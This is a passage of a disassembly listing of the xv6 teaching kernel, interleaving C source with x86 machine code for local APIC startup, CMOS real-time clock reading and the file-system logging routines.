80102f87: e8 72 ff ff ff call 80102efe <microdelay>
lapicw(ICRLO, INIT | LEVEL);
80102f8c: c7 44 24 04 00 85 00 movl $0x8500,0x4(%esp)
80102f93: 00
80102f94: c7 04 24 c0 00 00 00 movl $0xc0,(%esp)
80102f9b: e8 67 fd ff ff call 80102d07 <lapicw>
microdelay(100); // should be 10ms, but too slow in Bochs!
80102fa0: c7 04 24 64 00 00 00 movl $0x64,(%esp)
80102fa7: e8 52 ff ff ff call 80102efe <microdelay>
// Send startup IPI (twice!) to enter code.
// Regular hardware is supposed to only accept a STARTUP
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
80102fac: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
80102fb3: eb 40 jmp 80102ff5 <lapicstartap+0xf2>
lapicw(ICRHI, apicid<<24);
80102fb5: 0f b6 45 ec movzbl -0x14(%ebp),%eax
80102fb9: c1 e0 18 shl $0x18,%eax
80102fbc: 89 44 24 04 mov %eax,0x4(%esp)
80102fc0: c7 04 24 c4 00 00 00 movl $0xc4,(%esp)
80102fc7: e8 3b fd ff ff call 80102d07 <lapicw>
lapicw(ICRLO, STARTUP | (addr>>12));
80102fcc: 8b 45 0c mov 0xc(%ebp),%eax
80102fcf: c1 e8 0c shr $0xc,%eax
80102fd2: 80 cc 06 or $0x6,%ah
80102fd5: 89 44 24 04 mov %eax,0x4(%esp)
80102fd9: c7 04 24 c0 00 00 00 movl $0xc0,(%esp)
80102fe0: e8 22 fd ff ff call 80102d07 <lapicw>
microdelay(200);
80102fe5: c7 04 24 c8 00 00 00 movl $0xc8,(%esp)
80102fec: e8 0d ff ff ff call 80102efe <microdelay>
// Send startup IPI (twice!) to enter code.
// Regular hardware is supposed to only accept a STARTUP
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
80102ff1: 83 45 fc 01 addl $0x1,-0x4(%ebp)
80102ff5: 83 7d fc 01 cmpl $0x1,-0x4(%ebp)
80102ff9: 7e ba jle 80102fb5 <lapicstartap+0xb2>
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
microdelay(200);
}
}
80102ffb: c9 leave
80102ffc: c3 ret
80102ffd <cmos_read>:
#define DAY 0x07
#define MONTH 0x08
#define YEAR 0x09
static uint cmos_read(uint reg)
{
80102ffd: 55 push %ebp
80102ffe: 89 e5 mov %esp,%ebp
80103000: 83 ec 08 sub $0x8,%esp
outb(CMOS_PORT, reg);
80103003: 8b 45 08 mov 0x8(%ebp),%eax
80103006: 0f b6 c0 movzbl %al,%eax
80103009: 89 44 24 04 mov %eax,0x4(%esp)
8010300d: c7 04 24 70 00 00 00 movl $0x70,(%esp)
80103014: e8 c0 fc ff ff call 80102cd9 <outb>
microdelay(200);
80103019: c7 04 24 c8 00 00 00 movl $0xc8,(%esp)
80103020: e8 d9 fe ff ff call 80102efe <microdelay>
return inb(CMOS_RETURN);
80103025: c7 04 24 71 00 00 00 movl $0x71,(%esp)
8010302c: e8 8b fc ff ff call 80102cbc <inb>
80103031: 0f b6 c0 movzbl %al,%eax
}
80103034: c9 leave
80103035: c3 ret
80103036 <fill_rtcdate>:
static void fill_rtcdate(struct rtcdate *r)
{
80103036: 55 push %ebp
80103037: 89 e5 mov %esp,%ebp
80103039: 83 ec 04 sub $0x4,%esp
r->second = cmos_read(SECS);
8010303c: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80103043: e8 b5 ff ff ff call 80102ffd <cmos_read>
80103048: 8b 55 08 mov 0x8(%ebp),%edx
8010304b: 89 02 mov %eax,(%edx)
r->minute = cmos_read(MINS);
8010304d: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80103054: e8 a4 ff ff ff call 80102ffd <cmos_read>
80103059: 8b 55 08 mov 0x8(%ebp),%edx
8010305c: 89 42 04 mov %eax,0x4(%edx)
r->hour = cmos_read(HOURS);
8010305f: c7 04 24 04 00 00 00 movl $0x4,(%esp)
80103066: e8 92 ff ff ff call 80102ffd <cmos_read>
8010306b: 8b 55 08 mov 0x8(%ebp),%edx
8010306e: 89 42 08 mov %eax,0x8(%edx)
r->day = cmos_read(DAY);
80103071: c7 04 24 07 00 00 00 movl $0x7,(%esp)
80103078: e8 80 ff ff ff call 80102ffd <cmos_read>
8010307d: 8b 55 08 mov 0x8(%ebp),%edx
80103080: 89 42 0c mov %eax,0xc(%edx)
r->month = cmos_read(MONTH);
80103083: c7 04 24 08 00 00 00 movl $0x8,(%esp)
8010308a: e8 6e ff ff ff call 80102ffd <cmos_read>
8010308f: 8b 55 08 mov 0x8(%ebp),%edx
80103092: 89 42 10 mov %eax,0x10(%edx)
r->year = cmos_read(YEAR);
80103095: c7 04 24 09 00 00 00 movl $0x9,(%esp)
8010309c: e8 5c ff ff ff call 80102ffd <cmos_read>
801030a1: 8b 55 08 mov 0x8(%ebp),%edx
801030a4: 89 42 14 mov %eax,0x14(%edx)
}
801030a7: c9 leave
801030a8: c3 ret
801030a9 <cmostime>:
// qemu seems to use 24-hour GWT and the values are BCD encoded
void cmostime(struct rtcdate *r)
{
801030a9: 55 push %ebp
801030aa: 89 e5 mov %esp,%ebp
801030ac: 83 ec 58 sub $0x58,%esp
struct rtcdate t1, t2;
int sb, bcd;
sb = cmos_read(CMOS_STATB);
801030af: c7 04 24 0b 00 00 00 movl $0xb,(%esp)
801030b6: e8 42 ff ff ff call 80102ffd <cmos_read>
801030bb: 89 45 f4 mov %eax,-0xc(%ebp)
bcd = (sb & (1 << 2)) == 0;
801030be: 8b 45 f4 mov -0xc(%ebp),%eax
801030c1: 83 e0 04 and $0x4,%eax
801030c4: 85 c0 test %eax,%eax
801030c6: 0f 94 c0 sete %al
801030c9: 0f b6 c0 movzbl %al,%eax
801030cc: 89 45 f0 mov %eax,-0x10(%ebp)
// make sure CMOS doesn't modify time while we read it
for (;;) {
fill_rtcdate(&t1);
801030cf: 8d 45 d8 lea -0x28(%ebp),%eax
801030d2: 89 04 24 mov %eax,(%esp)
801030d5: e8 5c ff ff ff call 80103036 <fill_rtcdate>
if (cmos_read(CMOS_STATA) & CMOS_UIP)
801030da: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
801030e1: e8 17 ff ff ff call 80102ffd <cmos_read>
801030e6: 25 80 00 00 00 and $0x80,%eax
801030eb: 85 c0 test %eax,%eax
801030ed: 74 02 je 801030f1 <cmostime+0x48>
continue;
801030ef: eb 36 jmp 80103127 <cmostime+0x7e>
fill_rtcdate(&t2);
801030f1: 8d 45 c0 lea -0x40(%ebp),%eax
801030f4: 89 04 24 mov %eax,(%esp)
801030f7: e8 3a ff ff ff call 80103036 <fill_rtcdate>
if (memcmp(&t1, &t2, sizeof(t1)) == 0)
801030fc: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp)
80103103: 00
80103104: 8d 45 c0 lea -0x40(%ebp),%eax
80103107: 89 44 24 04 mov %eax,0x4(%esp)
8010310b: 8d 45 d8 lea -0x28(%ebp),%eax
8010310e: 89 04 24 mov %eax,(%esp)
80103111: e8 1b 24 00 00 call 80105531 <memcmp>
80103116: 85 c0 test %eax,%eax
80103118: 75 0d jne 80103127 <cmostime+0x7e>
break;
8010311a: 90 nop
}
// convert
if (bcd) {
8010311b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8010311f: 0f 84 ac 00 00 00 je 801031d1 <cmostime+0x128>
80103125: eb 02 jmp 80103129 <cmostime+0x80>
if (cmos_read(CMOS_STATA) & CMOS_UIP)
continue;
fill_rtcdate(&t2);
if (memcmp(&t1, &t2, sizeof(t1)) == 0)
break;
}
80103127: eb a6 jmp 801030cf <cmostime+0x26>
// convert
if (bcd) {
#define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf))
CONV(second);
80103129: 8b 45 d8 mov -0x28(%ebp),%eax
8010312c: c1 e8 04 shr $0x4,%eax
8010312f: 89 c2 mov %eax,%edx
80103131: 89 d0 mov %edx,%eax
80103133: c1 e0 02 shl $0x2,%eax
80103136: 01 d0 add %edx,%eax
80103138: 01 c0 add %eax,%eax
8010313a: 8b 55 d8 mov -0x28(%ebp),%edx
8010313d: 83 e2 0f and $0xf,%edx
80103140: 01 d0 add %edx,%eax
80103142: 89 45 d8 mov %eax,-0x28(%ebp)
CONV(minute);
80103145: 8b 45 dc mov -0x24(%ebp),%eax
80103148: c1 e8 04 shr $0x4,%eax
8010314b: 89 c2 mov %eax,%edx
8010314d: 89 d0 mov %edx,%eax
8010314f: c1 e0 02 shl $0x2,%eax
80103152: 01 d0 add %edx,%eax
80103154: 01 c0 add %eax,%eax
80103156: 8b 55 dc mov -0x24(%ebp),%edx
80103159: 83 e2 0f and $0xf,%edx
8010315c: 01 d0 add %edx,%eax
8010315e: 89 45 dc mov %eax,-0x24(%ebp)
CONV(hour );
80103161: 8b 45 e0 mov -0x20(%ebp),%eax
80103164: c1 e8 04 shr $0x4,%eax
80103167: 89 c2 mov %eax,%edx
80103169: 89 d0 mov %edx,%eax
8010316b: c1 e0 02 shl $0x2,%eax
8010316e: 01 d0 add %edx,%eax
80103170: 01 c0 add %eax,%eax
80103172: 8b 55 e0 mov -0x20(%ebp),%edx
80103175: 83 e2 0f and $0xf,%edx
80103178: 01 d0 add %edx,%eax
8010317a: 89 45 e0 mov %eax,-0x20(%ebp)
CONV(day );
8010317d: 8b 45 e4 mov -0x1c(%ebp),%eax
80103180: c1 e8 04 shr $0x4,%eax
80103183: 89 c2 mov %eax,%edx
80103185: 89 d0 mov %edx,%eax
80103187: c1 e0 02 shl $0x2,%eax
8010318a: 01 d0 add %edx,%eax
8010318c: 01 c0 add %eax,%eax
8010318e: 8b 55 e4 mov -0x1c(%ebp),%edx
80103191: 83 e2 0f and $0xf,%edx
80103194: 01 d0 add %edx,%eax
80103196: 89 45 e4 mov %eax,-0x1c(%ebp)
CONV(month );
80103199: 8b 45 e8 mov -0x18(%ebp),%eax
8010319c: c1 e8 04 shr $0x4,%eax
8010319f: 89 c2 mov %eax,%edx
801031a1: 89 d0 mov %edx,%eax
801031a3: c1 e0 02 shl $0x2,%eax
801031a6: 01 d0 add %edx,%eax
801031a8: 01 c0 add %eax,%eax
801031aa: 8b 55 e8 mov -0x18(%ebp),%edx
801031ad: 83 e2 0f and $0xf,%edx
801031b0: 01 d0 add %edx,%eax
801031b2: 89 45 e8 mov %eax,-0x18(%ebp)
CONV(year );
801031b5: 8b 45 ec mov -0x14(%ebp),%eax
801031b8: c1 e8 04 shr $0x4,%eax
801031bb: 89 c2 mov %eax,%edx
801031bd: 89 d0 mov %edx,%eax
801031bf: c1 e0 02 shl $0x2,%eax
801031c2: 01 d0 add %edx,%eax
801031c4: 01 c0 add %eax,%eax
801031c6: 8b 55 ec mov -0x14(%ebp),%edx
801031c9: 83 e2 0f and $0xf,%edx
801031cc: 01 d0 add %edx,%eax
801031ce: 89 45 ec mov %eax,-0x14(%ebp)
#undef CONV
}
*r = t1;
801031d1: 8b 45 08 mov 0x8(%ebp),%eax
801031d4: 8b 55 d8 mov -0x28(%ebp),%edx
801031d7: 89 10 mov %edx,(%eax)
801031d9: 8b 55 dc mov -0x24(%ebp),%edx
801031dc: 89 50 04 mov %edx,0x4(%eax)
801031df: 8b 55 e0 mov -0x20(%ebp),%edx
801031e2: 89 50 08 mov %edx,0x8(%eax)
801031e5: 8b 55 e4 mov -0x1c(%ebp),%edx
801031e8: 89 50 0c mov %edx,0xc(%eax)
801031eb: 8b 55 e8 mov -0x18(%ebp),%edx
801031ee: 89 50 10 mov %edx,0x10(%eax)
801031f1: 8b 55 ec mov -0x14(%ebp),%edx
801031f4: 89 50 14 mov %edx,0x14(%eax)
r->year += 2000;
801031f7: 8b 45 08 mov 0x8(%ebp),%eax
801031fa: 8b 40 14 mov 0x14(%eax),%eax
801031fd: 8d 90 d0 07 00 00 lea 0x7d0(%eax),%edx
80103203: 8b 45 08 mov 0x8(%ebp),%eax
80103206: 89 50 14 mov %edx,0x14(%eax)
}
80103209: c9 leave
8010320a: c3 ret
8010320b: 90 nop
8010320c <initlog>:
static void recover_from_log(void);
static void commit();
void
initlog(void)
{
8010320c: 55 push %ebp
8010320d: 89 e5 mov %esp,%ebp
8010320f: 83 ec 28 sub $0x28,%esp
if (sizeof(struct logheader) >= BSIZE)
panic("initlog: too big logheader");
struct superblock sb;
initlock(&log.lock, "log");
80103212: c7 44 24 04 a0 8b 10 movl $0x80108ba0,0x4(%esp)
80103219: 80
8010321a: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
80103221: e8 1c 20 00 00 call 80105242 <initlock>
readsb(ROOTDEV, &sb);
80103226: 8d 45 e8 lea -0x18(%ebp),%eax
80103229: 89 44 24 04 mov %eax,0x4(%esp)
8010322d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80103234: e8 bb e0 ff ff call 801012f4 <readsb>
log.start = sb.size - sb.nlog;
80103239: 8b 55 e8 mov -0x18(%ebp),%edx
8010323c: 8b 45 f4 mov -0xc(%ebp),%eax
8010323f: 29 c2 sub %eax,%edx
80103241: 89 d0 mov %edx,%eax
80103243: a3 b4 32 11 80 mov %eax,0x801132b4
log.size = sb.nlog;
80103248: 8b 45 f4 mov -0xc(%ebp),%eax
8010324b: a3 b8 32 11 80 mov %eax,0x801132b8
log.dev = ROOTDEV;
80103250: c7 05 c4 32 11 80 01 movl $0x1,0x801132c4
80103257: 00 00 00
recover_from_log();
8010325a: e8 9a 01 00 00 call 801033f9 <recover_from_log>
}
8010325f: c9 leave
80103260: c3 ret
80103261 <install_trans>:
// Copy committed blocks from log to their home location
static void
install_trans(void)
{
80103261: 55 push %ebp
80103262: 89 e5 mov %esp,%ebp
80103264: 83 ec 28 sub $0x28,%esp
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80103267: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010326e: e9 8c 00 00 00 jmp 801032ff <install_trans+0x9e>
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
80103273: 8b 15 b4 32 11 80 mov 0x801132b4,%edx
80103279: 8b 45 f4 mov -0xc(%ebp),%eax
8010327c: 01 d0 add %edx,%eax
8010327e: 83 c0 01 add $0x1,%eax
80103281: 89 c2 mov %eax,%edx
80103283: a1 c4 32 11 80 mov 0x801132c4,%eax
80103288: 89 54 24 04 mov %edx,0x4(%esp)
8010328c: 89 04 24 mov %eax,(%esp)
8010328f: e8 12 cf ff ff call 801001a6 <bread>
80103294: 89 45 f0 mov %eax,-0x10(%ebp)
struct buf *dbuf = bread(log.dev, log.lh.sector[tail]); // read dst
80103297: 8b 45 f4 mov -0xc(%ebp),%eax
8010329a: 83 c0 10 add $0x10,%eax
8010329d: 8b 04 85 8c 32 11 80 mov -0x7feecd74(,%eax,4),%eax
801032a4: 89 c2 mov %eax,%edx
801032a6: a1 c4 32 11 80 mov 0x801132c4,%eax
801032ab: 89 54 24 04 mov %edx,0x4(%esp)
801032af: 89 04 24 mov %eax,(%esp)
801032b2: e8 ef ce ff ff call 801001a6 <bread>
801032b7: 89 45 ec mov %eax,-0x14(%ebp)
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
801032ba: 8b 45 f0 mov -0x10(%ebp),%eax
801032bd: 8d 50 18 lea 0x18(%eax),%edx
801032c0: 8b 45 ec mov -0x14(%ebp),%eax
801032c3: 83 c0 18 add $0x18,%eax
801032c6: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
801032cd: 00
801032ce: 89 54 24 04 mov %edx,0x4(%esp)
801032d2: 89 04 24 mov %eax,(%esp)
801032d5: e8 af 22 00 00 call 80105589 <memmove>
bwrite(dbuf); // write dst to disk
801032da: 8b 45 ec mov -0x14(%ebp),%eax
801032dd: 89 04 24 mov %eax,(%esp)
801032e0: e8 f8 ce ff ff call 801001dd <bwrite>
brelse(lbuf);
801032e5: 8b 45 f0 mov -0x10(%ebp),%eax
801032e8: 89 04 24 mov %eax,(%esp)
801032eb: e8 27 cf ff ff call 80100217 <brelse>
brelse(dbuf);
801032f0: 8b 45 ec mov -0x14(%ebp),%eax
801032f3: 89 04 24 mov %eax,(%esp)
801032f6: e8 1c cf ff ff call 80100217 <brelse>
static void
install_trans(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
801032fb: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801032ff: a1 c8 32 11 80 mov 0x801132c8,%eax
80103304: 3b 45 f4 cmp -0xc(%ebp),%eax
80103307: 0f 8f 66 ff ff ff jg 80103273 <install_trans+0x12>
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
bwrite(dbuf); // write dst to disk
brelse(lbuf);
brelse(dbuf);
}
}
8010330d: c9 leave
8010330e: c3 ret
8010330f <read_head>:
// Read the log header from disk into the in-memory log header
static void
read_head(void)
{
8010330f: 55 push %ebp
80103310: 89 e5 mov %esp,%ebp
80103312: 83 ec 28 sub $0x28,%esp
struct buf *buf = bread(log.dev, log.start);
80103315: a1 b4 32 11 80 mov 0x801132b4,%eax
8010331a: 89 c2 mov %eax,%edx
8010331c: a1 c4 32 11 80 mov 0x801132c4,%eax
80103321: 89 54 24 04 mov %edx,0x4(%esp)
80103325: 89 04 24 mov %eax,(%esp)
80103328: e8 79 ce ff ff call 801001a6 <bread>
8010332d: 89 45 f0 mov %eax,-0x10(%ebp)
struct logheader *lh = (struct logheader *) (buf->data);
80103330: 8b 45 f0 mov -0x10(%ebp),%eax
80103333: 83 c0 18 add $0x18,%eax
80103336: 89 45 ec mov %eax,-0x14(%ebp)
int i;
log.lh.n = lh->n;
80103339: 8b 45 ec mov -0x14(%ebp),%eax
8010333c: 8b 00 mov (%eax),%eax
8010333e: a3 c8 32 11 80 mov %eax,0x801132c8
for (i = 0; i < log.lh.n; i++) {
80103343: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010334a: eb 1b jmp 80103367 <read_head+0x58>
log.lh.sector[i] = lh->sector[i];
8010334c: 8b 45 ec mov -0x14(%ebp),%eax
8010334f: 8b 55 f4 mov -0xc(%ebp),%edx
80103352: 8b 44 90 04 mov 0x4(%eax,%edx,4),%eax
80103356: 8b 55 f4 mov -0xc(%ebp),%edx
80103359: 83 c2 10 add $0x10,%edx
8010335c: 89 04 95 8c 32 11 80 mov %eax,-0x7feecd74(,%edx,4)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
for (i = 0; i < log.lh.n; i++) {
80103363: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80103367: a1 c8 32 11 80 mov 0x801132c8,%eax
8010336c: 3b 45 f4 cmp -0xc(%ebp),%eax
8010336f: 7f db jg 8010334c <read_head+0x3d>
log.lh.sector[i] = lh->sector[i];
}
brelse(buf);
80103371: 8b 45 f0 mov -0x10(%ebp),%eax
80103374: 89 04 24 mov %eax,(%esp)
80103377: e8 9b ce ff ff call 80100217 <brelse>
}
8010337c: c9 leave
8010337d: c3 ret
8010337e <write_head>:
// Write in-memory log header to disk.
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
8010337e: 55 push %ebp
8010337f: 89 e5 mov %esp,%ebp
80103381: 83 ec 28 sub $0x28,%esp
struct buf *buf = bread(log.dev, log.start);
80103384: a1 b4 32 11 80 mov 0x801132b4,%eax
80103389: 89 c2 mov %eax,%edx
8010338b: a1 c4 32 11 80 mov 0x801132c4,%eax
80103390: 89 54 24 04 mov %edx,0x4(%esp)
80103394: 89 04 24 mov %eax,(%esp)
80103397: e8 0a ce ff ff call 801001a6 <bread>
8010339c: 89 45 f0 mov %eax,-0x10(%ebp)
struct logheader *hb = (struct logheader *) (buf->data);
8010339f: 8b 45 f0 mov -0x10(%ebp),%eax
801033a2: 83 c0 18 add $0x18,%eax
801033a5: 89 45 ec mov %eax,-0x14(%ebp)
int i;
hb->n = log.lh.n;
801033a8: 8b 15 c8 32 11 80 mov 0x801132c8,%edx
801033ae: 8b 45 ec mov -0x14(%ebp),%eax
801033b1: 89 10 mov %edx,(%eax)
for (i = 0; i < log.lh.n; i++) {
801033b3: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801033ba: eb 1b jmp 801033d7 <write_head+0x59>
hb->sector[i] = log.lh.sector[i];
801033bc: 8b 45 f4 mov -0xc(%ebp),%eax
801033bf: 83 c0 10 add $0x10,%eax
801033c2: 8b 0c 85 8c 32 11 80 mov -0x7feecd74(,%eax,4),%ecx
801033c9: 8b 45 ec mov -0x14(%ebp),%eax
801033cc: 8b 55 f4 mov -0xc(%ebp),%edx
801033cf: 89 4c 90 04 mov %ecx,0x4(%eax,%edx,4)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
for (i = 0; i < log.lh.n; i++) {
801033d3: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801033d7: a1 c8 32 11 80 mov 0x801132c8,%eax
801033dc: 3b 45 f4 cmp -0xc(%ebp),%eax
801033df: 7f db jg 801033bc <write_head+0x3e>
hb->sector[i] = log.lh.sector[i];
}
bwrite(buf);
801033e1: 8b 45 f0 mov -0x10(%ebp),%eax
801033e4: 89 04 24 mov %eax,(%esp)
801033e7: e8 f1 cd ff ff call 801001dd <bwrite>
brelse(buf);
801033ec: 8b 45 f0 mov -0x10(%ebp),%eax
801033ef: 89 04 24 mov %eax,(%esp)
801033f2: e8 20 ce ff ff call 80100217 <brelse>
}
801033f7: c9 leave
801033f8: c3 ret
801033f9 <recover_from_log>:
static void
recover_from_log(void)
{
801033f9: 55 push %ebp
801033fa: 89 e5 mov %esp,%ebp
801033fc: 83 ec 08 sub $0x8,%esp
read_head();
801033ff: e8 0b ff ff ff call 8010330f <read_head>
install_trans(); // if committed, copy from log to disk
80103404: e8 58 fe ff ff call 80103261 <install_trans>
log.lh.n = 0;
80103409: c7 05 c8 32 11 80 00 movl $0x0,0x801132c8
80103410: 00 00 00
write_head(); // clear the log
80103413: e8 66 ff ff ff call 8010337e <write_head>
}
80103418: c9 leave
80103419: c3 ret
8010341a <begin_op>:
// called at the start of each FS system call.
void
begin_op(void)
{
8010341a: 55 push %ebp
8010341b: 89 e5 mov %esp,%ebp
8010341d: 83 ec 18 sub $0x18,%esp
acquire(&log.lock);
80103420: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
80103427: e8 37 1e 00 00 call 80105263 <acquire>
while(1){
if(log.committing){
8010342c: a1 c0 32 11 80 mov 0x801132c0,%eax
80103431: 85 c0 test %eax,%eax
80103433: 74 16 je 8010344b <begin_op+0x31>
sleep(&log, &log.lock);
80103435: c7 44 24 04 80 32 11 movl $0x80113280,0x4(%esp)
8010343c: 80
8010343d: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
80103444: e8 45 1b 00 00 call 80104f8e <sleep>
80103449: eb 4f jmp 8010349a <begin_op+0x80>
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
8010344b: 8b 0d c8 32 11 80 mov 0x801132c8,%ecx
80103451: a1 bc 32 11 80 mov 0x801132bc,%eax
80103456: 8d 50 01 lea 0x1(%eax),%edx
80103459: 89 d0 mov %edx,%eax
8010345b: c1 e0 02 shl $0x2,%eax
8010345e: 01 d0 add %edx,%eax
80103460: 01 c0 add %eax,%eax
80103462: 01 c8 add %ecx,%eax
80103464: 83 f8 1e cmp $0x1e,%eax
80103467: 7e 16 jle 8010347f <begin_op+0x65>
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
80103469: c7 44 24 04 80 32 11 movl $0x80113280,0x4(%esp)
80103470: 80
80103471: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
80103478: e8 11 1b 00 00 call 80104f8e <sleep>
8010347d: eb 1b jmp 8010349a <begin_op+0x80>
} else {
log.outstanding += 1;
8010347f: a1 bc 32 11 80 mov 0x801132bc,%eax
80103484: 83 c0 01 add $0x1,%eax
80103487: a3 bc 32 11 80 mov %eax,0x801132bc
release(&log.lock);
8010348c: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
80103493: e8 2d 1e 00 00 call 801052c5 <release>
break;
80103498: eb 02 jmp 8010349c <begin_op+0x82>
}
}
8010349a: eb 90 jmp 8010342c <begin_op+0x12>
}
8010349c: c9 leave
8010349d: c3 ret
8010349e <end_op>:
// called at the end of each FS system call.
// commits if this was the last outstanding operation.
void
end_op(void)
{
8010349e: 55 push %ebp
8010349f: 89 e5 mov %esp,%ebp
801034a1: 83 ec 28 sub $0x28,%esp
int do_commit = 0;
801034a4: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
acquire(&log.lock);
801034ab: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
801034b2: e8 ac 1d 00 00 call 80105263 <acquire>
log.outstanding -= 1;
801034b7: a1 bc 32 11 80 mov 0x801132bc,%eax
801034bc: 83 e8 01 sub $0x1,%eax
801034bf: a3 bc 32 11 80 mov %eax,0x801132bc
if(log.committing)
801034c4: a1 c0 32 11 80 mov 0x801132c0,%eax
801034c9: 85 c0 test %eax,%eax
801034cb: 74 0c je 801034d9 <end_op+0x3b>
panic("log.committing");
801034cd: c7 04 24 a4 8b 10 80 movl $0x80108ba4,(%esp)
801034d4: e8 61 d0 ff ff call 8010053a <panic>
if(log.outstanding == 0){
801034d9: a1 bc 32 11 80 mov 0x801132bc,%eax
801034de: 85 c0 test %eax,%eax
801034e0: 75 13 jne 801034f5 <end_op+0x57>
do_commit = 1;
801034e2: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
log.committing = 1;
801034e9: c7 05 c0 32 11 80 01 movl $0x1,0x801132c0
801034f0: 00 00 00
801034f3: eb 0c jmp 80103501 <end_op+0x63>
} else {
// begin_op() may be waiting for log space.
wakeup(&log);
801034f5: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
801034fc: e8 69 1b 00 00 call 8010506a <wakeup>
}
release(&log.lock);
80103501: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
80103508: e8 b8 1d 00 00 call 801052c5 <release>
if(do_commit){
8010350d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80103511: 74 33 je 80103546 <end_op+0xa8>
// call commit w/o holding locks, since not allowed
// to sleep with locks.
commit();
80103513: e8 de 00 00 00 call 801035f6 <commit>
acquire(&log.lock);
80103518: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
8010351f: e8 3f 1d 00 00 call 80105263 <acquire>
log.committing = 0;
80103524: c7 05 c0 32 11 80 00 movl $0x0,0x801132c0
8010352b: 00 00 00
wakeup(&log);
8010352e: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
80103535: e8 30 1b 00 00 call 8010506a <wakeup>
release(&log.lock);
8010353a: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
80103541: e8 7f 1d 00 00 call 801052c5 <release>
}
}
80103546: c9 leave
80103547: c3 ret
80103548 <write_log>:
// Copy modified blocks from cache to log.
static void
write_log(void)
{
80103548: 55 push %ebp
80103549: 89 e5 mov %esp,%ebp
8010354b: 83 ec 28 sub $0x28,%esp
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
8010354e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80103555: e9 8c 00 00 00 jmp 801035e6 <write_log+0x9e>
struct buf *to = bread(log.dev, log.start+tail+1); // log block
8010355a: 8b 15 b4 32 11 80 mov 0x801132b4,%edx
80103560: 8b 45 f4 mov -0xc(%ebp),%eax
80103563: 01 d0 add %edx,%eax
80103565: 83 c0 01 add $0x1,%eax
80103568: 89 c2 mov %eax,%edx
8010356a: a1 c4 32 11 80 mov 0x801132c4,%eax
8010356f: 89 54 24 04 mov %edx,0x4(%esp)
80103573: 89 04 24 mov %eax,(%esp)
80103576: e8 2b cc ff ff call 801001a6 <bread>
8010357b: 89 45 f0 mov %eax,-0x10(%ebp)
struct buf *from = bread(log.dev, log.lh.sector[tail]); // cache block
8010357e: 8b 45 f4 mov -0xc(%ebp),%eax
80103581: 83 c0 10 add $0x10,%eax
80103584: 8b 04 85 8c 32 11 80 mov -0x7feecd74(,%eax,4),%eax
8010358b: 89 c2 mov %eax,%edx
8010358d: a1 c4 32 11 80 mov 0x801132c4,%eax
80103592: 89 54 24 04 mov %edx,0x4(%esp)
80103596: 89 04 24 mov %eax,(%esp)
80103599: e8 08 cc ff ff call 801001a6 <bread>
8010359e: 89 45 ec mov %eax,-0x14(%ebp)
memmove(to->data, from->data, BSIZE);
801035a1: 8b 45 ec mov -0x14(%ebp),%eax
801035a4: 8d 50 18 lea 0x18(%eax),%edx
801035a7: 8b 45 f0 mov -0x10(%ebp),%eax
801035aa: 83 c0 18 add $0x18,%eax
801035ad: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
801035b4: 00
801035b5: 89 54 24 04 mov %edx,0x4(%esp)
801035b9: 89 04 24 mov %eax,(%esp)
801035bc: e8 c8 1f 00 00 call 80105589 <memmove>
bwrite(to); // write the log
801035c1: 8b 45 f0 mov -0x10(%ebp),%eax
801035c4: 89 04 24 mov %eax,(%esp)
801035c7: e8 11 cc ff ff call 801001dd <bwrite>
brelse(from);
801035cc: 8b 45 ec mov -0x14(%ebp),%eax
801035cf: 89 04 24 mov %eax,(%esp)
801035d2: e8 40 cc ff ff call 80100217 <brelse>
brelse(to);
801035d7: 8b 45 f0 mov -0x10(%ebp),%eax
801035da: 89 04 24 mov %eax,(%esp)
801035dd: e8 35 cc ff ff call 80100217 <brelse>
static void
write_log(void)
{
int tail;
